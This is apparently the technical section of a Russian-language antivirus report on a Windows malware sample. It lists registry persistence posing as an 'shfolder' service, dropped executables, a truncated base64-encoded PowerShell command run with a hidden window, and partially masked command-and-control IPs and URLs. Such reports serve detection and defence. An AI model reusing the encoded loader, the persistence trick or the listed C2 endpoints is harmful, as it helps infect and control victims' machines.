Техническая информация
- [<HKLM>\System\CurrentControlSet\Services\shfolder] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\shfolder] 'ImagePath' = '"%WINDIR%\SysWOW64\mfcm100\shfolder.exe"'
- 'shfolder' "%WINDIR%\SysWOW64\mfcm100\shfolder.exe"
- 'shfolder' %WINDIR%\SysWOW64\mfcm100\shfolder.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABIAHEAZgA5ADUAcAB3AD0AKAAoACcAWgAwACcAKwAnADEAJwApACsAKAAnAGQANAA0ACcAKwAnADAAJwApACkAOwAuACgAJwBuAGUAdwAtACcAKwAnAGkAdABlAG0AJwApACAAJABFAE4AdgA6AFUAUwBlAFIAUAByAG8AZgBpAGwAZQBcAGMAMgBsAE...
- %HOMEPATH%\c2lbljj\h6l39r1\z1xbo_.exe
- %WINDIR%\syswow64\mfcm100\shfolder.exe
- %HOMEPATH%\c2lbljj\h6l39r1\z1xbo_.exe в %WINDIR%\syswow64\mfcm100\shfolder.exe
- '22#.#47.247.145':80
- '45.##.16.230':7080
- http://yo###caxcan.com/cgi-bin/T7nT/
- http://45.##.16.230:7080/ZgufavrW5zRL/OSLc/2c8gU8AQ/7R4MkASdPFKMOGGDY39/qzAznzLZqQQ8z96zxm/ via 45.##.16.230
- DNS ASK yo###caxcan.com
- '%HOMEPATH%\c2lbljj\h6l39r1\z1xbo_.exe'
- '%WINDIR%\syswow64\mfcm100\shfolder.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABIAHEAZgA5ADUAcAB3AD0AKAAoACcAWgAwACcAKwAnADEAJwApACsAKAAnAGQANAA0ACcAKwAnADAAJwApACkAOwAuACgAJwBuAGUAdwAtACcAKwAnAGkAdABlAG0AJwApACAAJABFAE4AdgA6AFUAUwBlAFIAUAByAG8AZgBpAGwAZQBcAGMAMgBsAE...' (со скрытым окном)